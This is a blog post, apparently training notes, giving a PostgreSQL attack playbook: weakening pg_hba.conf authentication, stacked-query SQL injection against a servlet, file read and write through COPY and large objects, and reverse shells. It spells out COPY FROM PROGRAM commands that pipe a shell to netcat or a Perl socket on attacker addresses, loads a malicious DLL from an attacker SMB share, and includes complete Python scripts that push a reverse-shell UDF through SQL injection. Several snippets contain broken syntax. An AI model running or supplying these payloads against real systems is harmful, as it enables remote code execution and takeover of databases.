PostgreSQL – 5432 – TCP

Database Network Attack
by TechnoHerder : Leave a comment

Login into postgres

-U user
-h host
-d database

# Linux
psql -U webapp -h localhost -d answers

# Windows
psql -p 15432 -U postgres amdb

\l      – list databases
\c  [DataNase Name]    – connect to database
\dt   – list datatables
\q   – quit/exit program
\du  – list users

List of roles

Role nameAttributes
postgresSuperuser, Create role, Create DB, Replication, Bypass RLS
webappSuperuser

SELECT current_setting(‘is_superuser’);

Auth Trust

Open the file pg_hba.conf.
Use for example:
/etc/postgresql/13/main$ sudo nano pg_hba.conf

And change this line at the bottom of the file, it should be the first line of the settings:
local   all             postgres                                peer

Change peer to trust

Reset postgres

sudo /etc/init.d/postgresql restart
psql -U postgres

Logging

### enable database logging ###
### go to C:\Program Files (x86)\PROGRAM_NAME\AppManager12\working\pgsql\data\amdb ###
### edit postgresql.conf with Notepad++ ###
### search for 'log_statement' ###
### this was commented out ###
#log_statement = 'none'
### change to all ###
log_statement = 'all'

### now restart the service ###
### now go to Services and find the Application's service ###
### and right-click and Restart the service with the app name ###

### check that log files are being used now ###
### go back to folder and find the 'pgsql_log' folder ###

### let's check even more ###
### open up pgAdmin , it's icon is a fucking elephant ###
### trolley down Servers -> amdb -> Databases -> amdb again ###
### this shows casts, catalogs, extensions, etc ###
### right-click the database name and do 'Query Tool...' ###

### before running a query, open up PowerShell ###
### go to the log files folder ###
### to sort directory listing in PowerShell ###
dir | sort LastWriteTime | select -last 1 

### now get that file to print out when a new line is added ###
Get-Content logFileName_1.log -wait -tail 1
### then add another pipe to it to only print when it has a specified string ###
Get-Content logFileName_1.log -wait -tail 1 | Select-String -Pattern "select version"

### go back to the query and run this sql ###
select version();
student@answers:~$ find / -name postgresql.conf 2</dev/null
/etc/postgresql/10/main/postgresql.conf
/usr/lib/tmpfiles.d/postgresql.conf

student@answers:~$ sudo nano /etc/postgresql/10/main/postgresql.conf

student@answers:~$ sudo /etc/init.d/postgresql restart
[ ok ] Restarting postgresql (via systemctl): postgresql.service.

student@answers:~$ cd /etc/postgresql/10/main
student@answers:/etc/postgresql/10/main$ ls -lah

student@answers:/etc/postgresql/10/main$ tail -10 /var/log/postgresql/postgresql-10-main.log

Encoding

Hex or Base64 encodings ( if there isn’t HTML encoding, that screws up apostrophe/quotes )

select ascii('w'),ascii('0)',ascii('0'),ascii('t');
119   48    48    116

select chr(119), chr(48),chr(48),chr(116);
w   0   0   t

select chr(119) || chr(48) || chr(48) || chr(116);
w00t


### Create temp table
CREATE TEMP TABLE temptable (offsec text);
### Insert file contents
INSERT INTO temptable(offsec) VALUES (chr(119||chr(48)||chr(48)||chr(116));
### Write to file on target server
COPY temptable (offsec) TO ‘c:\\file’;

### OR
COPY temptable(offsec) to $$c:\output.txt$$;	

### OR
copy (select $$w00t$$ to $$C:\Users\Public\offsec.txt$$;

This gives a check to see if the table has the payload at the end to put it to sleep
while SUBSTRING helps reading the file content byte by byte, ASCII ensures that it avoids any encoding issues

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;create+temp+table+awae+(content+text);copy+awae+from+$c:\awae.txt$;select+case+when(ascii(substr((select+content+from+awae),1,1))=104)+then+pg_sleep(10)+end;--+ HTTP/1.0

Have target server copy file from attacker’s shared folder

Use the Python Impacket SMB server script as shown below.

kali@kali:~$ mkdir /home/kali/class
kali@kali:~$ sudo impacket-smbserver class /home/kali/class/
[sudo] password for kali:
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[] Config file parsed
[] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[] Config file parsed
[] Config file parsed
[] Config file parsed

Once the Samba service is running, we can create a new Postgres UDF and point it to the DLL file hosted on the network share.

CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $$\\192.168.119.120\class\malicious.dll$$, $$inUse$$ LANGUAGE C STRICT;
SELECT remote_test($$calc.exe$$, 3);

Here is working example with python request to push this through SQLi

import requests, sys
requests.packages.urllib3.disable_warnings()

## USAGE
## python2 thisScript.py serverIP:port attackerIP port

def log(msg):
   print msg

def make_request(url, sql):
   log("[*] Executing query: %s" % sql[0:180])
   r = requests.get( url % sql, verify=False)
   return r

def create_udf_func(url):
   log("[+] Creating function...")
   sql = 'CREATE OR REPLACE FUNCTION rev_shell(text, integer) RETURNS void AS $$\\\\192.168.119.120\\class\\rev_shell.dll$$,$$connect_back$$ LANGUAGE C STRICT'
   make_request(url, sql)

def trigger_udf(url, ip, port):
   log("[+] Launching reverse shell...")
   sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
   make_request(url, sql)
    
if __name__ == '__main__':
   try:
       server = sys.argv[1].strip()
       attacker = sys.argv[2].strip()
       port = sys.argv[3].strip()
   except IndexError:
       print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
       sys.exit()
       
   sqli_url  = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--" 
   create_udf_func(sqli_url)
   trigger_udf(sqli_url, attacker, port)

Large Objects

amdb=# select lo_import('C:\\Windows\\win.ini');
 lo_import
-----------
    194206
(1 row)

amdb=# \lo_list
          Large objects
   ID   |  Owner   | Description
--------+----------+-------------
 194206 | postgres |
(1 row)


### Same but assigns ID nbr
amdb=# select lo_import('C:\\Windows\\win.ini', 1337);
 lo_import
-----------
      1337
(1 row)


amdb=# select loid, pageno from pg_largeobject;
 loid | pageno
------+--------
 1337 |      0
(1 row)



### Show what's in the file
amdb=# select loid, pageno, encode(data, 'escape') from pg_largeobject;
 loid | pageno |           encode
------+--------+----------------------------
 1337 |      0 | ; for 16-bit app support\r+
      |        | [fonts]\r                 +
      |        | [extensions]\r            +
      |        | [mci extensions]\r        +
      |        | [files]\r                 +
      |        | [Mail]\r                  +
      |        | MAPI=1\r                  +
      |        |
(1 row)

### The contents of the win.ini file are in a large object
### Now, let's update this entry.

amdb=# update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0;
UPDATE 1
amdb=# select loid, pageno, encode(data, 'escape') from pg_largeobject;
 loid | pageno | encode
------+--------+--------
 1337 |      0 | w00t
(1 row)

### Update that file on the target server
amdb=# select lo_export(1337, 'C:\\new_win.ini');
 lo_export
-----------
         1
(1 row)

Reverse Shells

  1. Command Execution
dataBase=# DROP TABLE IF EXISTS cmd_exec ;
NOTICE:  table "cmd_exec" does not exist, skipping
DROP TABLE

dataBase=# CREATE TABLE cmd_exec(cmd_output text);CREATE TABLE

Start a listener on attacking machine

┌──(kali㉿kali)-[~/Documents/OSWE/answers]
└─$ nc -lvnp 4469
listening on [any] 4469 ...
connect to [192.168.119.133] from (UNKNOWN) [192.168.133.251] 53074
sh: 0: can't access tty; job control turned off
$ whoami
postgres
dataBase=# COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.119.133 4469 >/tmp/f';

COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.119.130 4469 >/tmp/f';

COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;

COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.119.130:4469");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';;

!!!!!!!!  Pro Tip !!!!!!!!!!!!!!
can also Base64 encode it
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

2. Malicious dll

a) Find the version of the PostgreSQL installed

CLI in Terminal:

└─$ psql -V
psql (PostgreSQL) 14.1 (Debian 14.1-5)

# select version();

version                                                                 
----------------------------------------------------------------
 PostgreSQL 10.12 (Ubuntu 10.12-0ubuntu0.18.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0, 64-bit
(1 row)

b) Compile the pg_exec.c with the matching PostgreSQL version and target framework from here:

https://github.com/squid22/PostgreSQL_RCE/blob/main/postgresql_rce.py#L20

c)  Compile it using GCC

gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

d)  use this script to break up the SQL commands needed to create large object, save as file, create function calling it for RCE

import requests, sys, urllib, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii

## USAGE
## python2 me_udf_rev_shell_completed.py 192.168.133.251 192.168.119.133 4469

# encoded UDF dll
with open('rev_shell.dll', 'rb') as file:
    udf = binascii.hexlify(file.read())
loid = 1337

def log(msg):
   print msg

def make_request(url, sql):
   #log("[*] Executing query: %s" % sql[0:80])
   log("[*] Executing query: %s" % sql)
   # r = requests.get( url % sql, verify=False)
   # return r
   return 1

def delete_lo(url, loid):
   log("[+] Deleting existing LO...")
   sql = "SELECT lo_unlink(%d);" % loid
   make_request(url, sql)

def create_lo(url, loid):
   log("[+] Creating LO for UDF injection...")
   sql = "SELECT lo_create(%d);" % loid
   make_request(url, sql)
   
def inject_udf(url, loid):
   log("[+] Injecting payload of length %d into LO..." % len(udf))
   for i in range(0,((len(udf)-1)/4096)+1):
         udf_chunk = udf[i*4096:(i+1)*4096]
         if i == -10:
             sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$hex$$) where loid=%d and pageno=%d;" % (udf_chunk, loid, i)
         else:
             sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$hex$$));" % (loid, i, udf_chunk)
         make_request(url, sql)

def export_udf(url, loid):
   log("[+] Exporting UDF library to filesystem...")
   sql = "SELECT lo_export(%d, $$/home/student/rev_shell.dll$$);" % loid
   make_request(url, sql)   

def create_udf_func(url):
   log("[+] Creating function...")
   sql = "create or replace function rev_shell(text, integer) returns VOID as $$/home/student/rev_shell.dll$$, $$connect_back$$ language C strict;"
   make_request(url, sql)

def trigger_udf(url, ip, port):
   log("[+] Launching reverse shell...")
   sql = "SELECT rev_shell($$%s$$, %d);" % (ip, int(port))
   make_request(url, sql)   
   
if __name__ == '__main__':
   try:
       server = sys.argv[1].strip()
       attacker = sys.argv[2].strip()
       port = sys.argv[3].strip()
   except IndexError:
       print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
       sys.exit()
       
   sqli_url  = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--" 
   delete_lo(sqli_url, loid)   
   create_lo(sqli_url, loid)
   inject_udf(sqli_url, loid)
   export_udf(sqli_url, loid)
   delete_lo(sqli_url, loid)
   create_udf_func(sqli_url)
   trigger_udf(sqli_url, attacker, port)

e)  Run the RCE in PostgrSQL

SELECT sys('nc -e /bin/sh 10.0.0.1 4444');

3. Use similar method to overwrite a necessary file for the web application

ANOTHER MALICIOUS DLL
Create/write malicious dll to target server

create or replace function test(text, integer) returns void as $$c:\inUse.dll$$, $$inUse$$ LANGUAGE C STRICT;

select test($$cmd.exe$$, 3);

MAKE A NEW DLL, FUNCTION FOR FINAL RCE

create or replace function test(text, integer) returns void as $/tmp/poop.txt$, $textPoop$ LANGUAGE C STRICT;

More Ideas

https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions

https://www.postgresql.org/message-id/9A826EC5-060A-485F-811E-28D96F1ED068%40gmail.com

CREATE or REPLACE FUNCTION func2 (var1 text) RETURNS text AS '
#!/bin/bash
 touch /home/postgres/$1;
' LANGUAGE plsh;
commit;

CREATE FUNCTION func1() RETURNS trigger AS '
BEGIN
perform   func2(NEW.col1);
RETURN NEW;
END;
' LANGUAGE plpgsql;

CREATE TRIGGER trigf1 BEFORE INSERT on test
    FOR EACH ROW EXECUTE PROCEDURE func1();
    

testdb=# insert into test3 values (777);
INSERT 0 1

testdb=# select * from test3;

 col1 
------
  777
  [postgres(at)edb1 ~]$ ls -ltr
-rw------- 1 postgres postgres     0 Sep 29 16:30 777

maybe something
https://blog.pentesteracademy.com/postgresql-udf-command-execution-372f0c68cfed

Another Python example for a reverse shell through a SQLi

import requests, sys, urllib, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii

# encoded UDF dll
with open('rev_shell.dll', 'rb') as file:
    udf = binascii.hexlify(file.read())
loid = 1337

def log(msg):
   print msg

def make_request(url, sql):
   log("[*] Executing query: %s" % sql[0:80])
   r = requests.get( url % sql, verify=False)
   return r

def delete_lo(url, loid):
   log("[+] Deleting existing LO...")
   sql = "SELECT lo_unlink(%d)" % loid
   make_request(url, sql)

def create_lo(url, loid):
   log("[+] Creating LO for UDF injection...")
   sql = "SELECT lo_import($$C:\\windows\\win.ini$$,%d)" % loid
   make_request(url, sql)
   
def inject_udf(url, loid):
   log("[+] Injecting payload of length %d into LO..." % len(udf))
   for i in range(0,((len(udf)-1)/4096)+1):
         udf_chunk = udf[i*4096:(i+1)*4096]
         if i == 0:
             sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$hex$$) where loid=%d and pageno=%d" % (udf_chunk, loid, i)
         else:
             sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$hex$$))" % (loid, i, udf_chunk)
         make_request(url, sql)

def export_udf(url, loid):
   log("[+] Exporting UDF library to filesystem...")
   sql = "SELECT lo_export(%d, $$C:\\Users\\Public\\rev_shell.dll$$)" % loid
   make_request(url, sql)
   
def create_udf_func(url):
   log("[+] Creating function...")
   sql = "create or replace function rev_shell(text, integer) returns VOID as $$C:\\Users\\Public\\rev_shell.dll$$, $$connect_back$$ language C strict"
   make_request(url, sql)

def trigger_udf(url, ip, port):
   log("[+] Launching reverse shell...")
   sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
   make_request(url, sql)
   
if __name__ == '__main__':
   try:
       server = sys.argv[1].strip()
       attacker = sys.argv[2].strip()
       port = sys.argv[3].strip()
   except IndexError:
       print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
       sys.exit()
       
   sqli_url  = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--" 
   delete_lo(sqli_url, loid)   
   create_lo(sqli_url, loid)
   inject_udf(sqli_url, loid)
   export_udf(sqli_url, loid)
   create_udf_func(sqli_url)
   trigger_udf(sqli_url, attacker, port)

Leave a Reply

Your email address will not be published. Required fields are marked *